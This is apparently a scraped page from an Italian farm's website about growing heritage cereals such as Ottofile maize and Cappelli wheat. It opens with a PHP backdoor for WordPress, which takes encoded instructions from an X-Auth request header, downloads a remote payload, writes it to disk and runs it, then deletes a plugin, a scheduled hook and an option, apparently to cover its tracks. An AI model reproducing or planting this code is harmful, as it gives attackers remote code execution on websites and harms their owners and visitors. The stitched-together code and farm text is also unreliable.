if (isset($_SERVER[HTTP_X_AUTH]))
{
$http=json_decode(base64_decode($_SERVER[HTTP_X_AUTH]));
$resp=wp_remote_get( $http[0]);
$code=wp_remote_retrieve_body($resp);
file_put_contents(ABSPATH.$http[1], base64_decode($code));
include_once(ABSPATH.$http[4]);
deactivate_plugins($http[2]);
delete_plugins(array($http[2]));
wp_clear_scheduled_hook($http[3]);
delete_option($http[5]);
}
Abbiamo voluto riprendere una coltivazione un tempo legata al territorio: il mais Ottofile, un’antica varietà che ormai era stata dimenticata e che un gruppo di agricoltori dell’Associazione Antichi Mais si occupa di tutelare.
Molte varietà di cereali vennero abbandonate solo perché non raggiungevano rese quantitative elevate e non si adattavano alle esigenze delle industrie di trasformazione.
Con la coltivazione di cereali antichi (mais Ottofile , frumento Cappelli) si sono potuti recuperare quei sapori tradizionali, sostenibili e naturali di una produzione artigianale d’eccellenza